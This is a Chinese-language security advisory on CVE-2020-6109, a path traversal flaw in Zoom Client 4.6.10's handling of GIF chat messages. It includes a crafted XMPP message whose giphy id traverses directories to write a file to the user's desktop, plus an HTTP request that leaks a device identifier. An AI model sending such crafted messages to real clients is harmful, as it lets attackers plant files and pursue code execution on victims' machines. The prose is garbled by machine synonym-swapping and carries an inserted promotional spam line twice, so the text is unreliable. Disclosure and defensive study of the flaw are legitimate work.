CVE-2020-6109 | ZOOM客户端蹊径遍历缝隙公告

颁布功夫 2020-06-05

0x00 缝隙概述



CVE   ID

CVE-2020-6109

时    间

2020-06-04

类    型

DT

等    级

高危

远程利用

是

影响领域

Zoom Client 4.6.10


0x01 缝隙详情


宝运莱·(中国区)最新官方网站



Zoom Client是美国Zoom公司的一款支持多衷旖台的视频会议客户端利用法式。


CVE-2020-6109在Zoom Client版本4.6.10中存在可利用的蹊径遍历缝隙,该缝隙在处置蕴含动画GIF的新闻时。特造的谈天新闻可能导致肆意文件写入,可能会进一步滥用该文件以实现肆意代码执行。攻击者必要向指标用户或组发送特造新闻能力触发此缝隙。


Zoom的谈天职能成立在XMPP尺度的基础上,并拥有支吃熹他扩大职能。这些扩大之一支持在谈天中蕴含动画GIF新闻的职能。提供此职能并依赖Giphy服务。当客户端收到带有此giphy扩大名的XMPP新闻时,将批示其接见指定的HTTP URL并获取GIF文件发送给用户。此类XMPP新闻的示例如下:


<message from='source@xmpp.zoom.us' to='destination@xmpp.zoom.us' id='random' type='chat'>

   <body>User Name sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download</body>

   <thread>RANDOM</thread>

   <active xmlns='http://jabber.org/protocol/chatstates'/>

   <sns>

       <format>%1$@ sent you a picture</format>

       <args>

           <arg>User Name</arg>

       </args>

   </sns>

       <giphy id='filename' url='image_url' tags='congrats'>

           <pcInfo url='image_url_for_pc_display' size='10'/>

           <mobileInfo url='image_url_for_mobile_display' size='10'/>

           <bigPicInfo url='image_url_for_full_size_display' size='10'/>

       </giphy>

       <zmext expire_t='timestamp' prev='timestamp' t='timestamp'>

           <from n='User Name' e='email' res='ZoomChat_pc'/>

           <to/>

           <visible>true</visible>

           <msg_feature>0</msg_feature>

       </zmext>

</message>


上面的XML代码中有两个值必要关注。首先,该giphy标签蕴含三个指标URL,这些URL应该指向Giphy的服务器。简短的测试批注,没有执行指标URL的验证,并且客户端将遵循指定的URL,蕴含肆意服务器。指定自界说URL时,能够观察到来自客户端的HTTP衔接:


GET /test.gif HTTP/1.1

Host: example.com

User-Agent: Mozilla/5.0 (ZOOM.Mac 10.14.6 x86)

Accept: */*

Cookie: srid=SaaSbeeTestMode00123578;

ZM-CAP: 2535978022733895607,164

ZM-PROP: Mac.Zoom

ZM-NSGN:2,zVM1hmoFnK2kx8t/KEifN7IAXRSE/CnqolsM0zV6ess=,1586812854000


应该指出的是,只管以上要求中没有验证cookie,但仍有足够的信息泄露唯一标识的客户端。标头ZM-NSGN蕴含经过哈希处置和编码的唯一客户端设备ID。


测试发现即便giphy扩大名仅显示GIF图像,它也将轻松显示和预览其他图像类型。这蕴含PNG和JPEG文件体式。


此新闻XML代码中的第二件有趣的事是,象征的id属性giphy直接与客户端缓存在磁盘上的图像文件名有关联�;痪浠八�,客户端利用法式将使用此指定的ID将文件保留到磁盘以供将来显示�D芄惶峁┧烈馕募�,并且文件将存储在dataZoom装置目录下目录中的可预测地位。


真正的缝隙在于这样的情况,即文件名没有以任何方式删除,并允许目录遍历。这意味着象征的特造id属性giphy能够蕴含一个特殊文件蹊径,该蹊径将在Zoom的装置目录之表并且现实上在当前用户可写的任何目录中写入文件。以下批改的message说了然这种可能性:


<message from='source@xmpp.zoom.us' to='destination@xmpp.zoom.us' id='random' type='chat'>

   <body>User Name sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download</body>

   <thread>RANDOM</thread>

   <active xmlns='http://jabber.org/protocol/chatstates'/>

   <sns>

       <format>%1$@ sent you a picture</format>

       <args>

           <arg>User Name</arg>

       </args>

   </sns>

   <giphy id='../../../../../../Desktop/mallicious_file.exe' url='image_url' tags='congrats'>

           <pcInfo url='image_url_for_pc_display' size='10'/>

           <mobileInfo url='image_url_for_mobile_display' size='10'/>

           <bigPicInfo url='image_url_for_full_size_display' size='10'/>

       </giphy>

       <zmext expire_t='timestamp' prev='timestamp' t='timestamp'>

           <from n='User Name' e='email' res='ZoomChat_pc'/>

           <to/>

           <visible>true</visible>

           <msg_feature>0</msg_feature>

       </zmext>

</message>


Zoom客户端会将字符串附加_BigPic.gif到指定的文件名这一事实能够部门缓解此缝隙。这样能够预防攻击者创建拥有肆意扩大名的可齐全节造的文件。若是攻击者选择了.gif扩大名,以上内容仍将使用文件名将肆意内容的文件搁置到当前用户的桌面上。文件的内容不仅限于图像,还可能蕴含可执行代码或剧本,这些代码或剧本可能被滥用以援手利用另一个缝隙。

此表可能会在Windows系统上创建空文件的肆意扩大名。


0x02 措置建议


目前厂商已颁布4.6.12版本以建复缝隙,下载地址:

https://zoom.us/


0x03 有关新闻


https://securityaffairs.co/wordpress/104249/hacking/zoom-security-flaws.html


0x04 参考链接


https://talosintelligence.com/vulnerability_reports/TALOS-2020-1055


0x05 功夫线


2020-04-16 钻研人员披露

2020-06-04 VSRC颁布缝隙公告


宝运莱·(中国区)最新官方网站